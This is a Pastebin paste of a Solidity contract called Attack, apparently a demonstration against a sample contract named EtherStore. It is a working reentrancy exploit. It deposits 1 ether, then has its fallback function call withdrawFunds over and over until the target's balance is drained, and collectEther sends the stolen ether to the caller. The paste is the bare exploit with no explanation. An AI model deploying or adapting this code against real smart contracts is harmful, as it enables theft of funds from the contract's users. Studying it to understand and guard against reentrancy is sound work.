Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- pragma solidity ^0.4.25;
- import "./EtherStore.sol";
- contract Attack {
- EtherStore public etherStore;
- // intialize the etherStore variable with the contract address
- constructor(address _etherStoreAddress) public {
- etherStore = EtherStore(_etherStoreAddress);
- }
- function attackEtherStore() public payable {
- // attack to the nearest ether
- require(msg.value >= 1 ether);
- // send eth to the depositFunds() function
- etherStore.depositFunds.value(1 ether)();
- // start the magic
- etherStore.withdrawFunds(1 ether);
- }
- function collectEther() public {
- msg.sender.transfer(address(this).balance);
- }
- // fallback function - where the magic happens
- function () payable public {
- if (address(etherStore).balance > 1 ether) {
- etherStore.withdrawFunds(1 ether);
- }
- }
- }
Add Comment
Please, Sign In to add comment